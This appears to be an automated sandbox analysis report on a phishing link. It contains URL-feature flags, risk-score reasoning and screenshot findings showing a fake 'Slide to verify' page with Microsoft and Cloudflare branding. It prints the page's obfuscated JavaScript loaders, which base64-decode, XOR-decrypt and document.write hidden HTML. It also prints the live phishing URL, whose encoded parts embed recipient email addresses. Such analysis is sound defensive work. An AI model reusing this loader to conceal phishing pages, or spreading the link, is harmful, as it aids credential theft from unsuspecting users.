Windows Analysis Report
https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://go.eu.sparkpostmail1.com

{
    "risk_score": 9,
    "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the `eval` function, the transmission of potentially sensitive data to external domains, and the heavily encoded script content indicate a high likelihood of malicious intent. This script should be considered a significant security risk and should be further investigated or blocked from execution."
}

var key = "secretkey";
var encodedScript = "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

{
    "risk_score": 7,
    "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution and potential data exfiltration. The use of the `atob()` function to decode a heavily obfuscated string, which is then decrypted using a hardcoded key and written to the document, raises significant security concerns. This type of behavior is often associated with malicious scripts that attempt to execute arbitrary code or steal sensitive information. While the intent of the script is unclear, the combination of these high-risk indicators warrants a thorough review and a high-risk score."
}

        var key = "secretkey";
        var encodedHtml = "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";
        var decryptedHtml = atob(encodedHtml).split("").map((c, i) => 
            String.fromCharCode(c.charCodeAt(0) ^ key.charCodeAt(i % key.length))).join("");
        document.write(decryptedHtml);
    

{
  "contains_trigger_text": true,
  "trigger_text": "Please verify to continue",
  "prominent_button_name": "Slide to verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": true
}

{
  "contains_trigger_text": true,
  "trigger_text": "Please verify to continue",
  "prominent_button_name": "Slide to verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_security_alerts": true
}

{
  "brands": [
    "CF"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}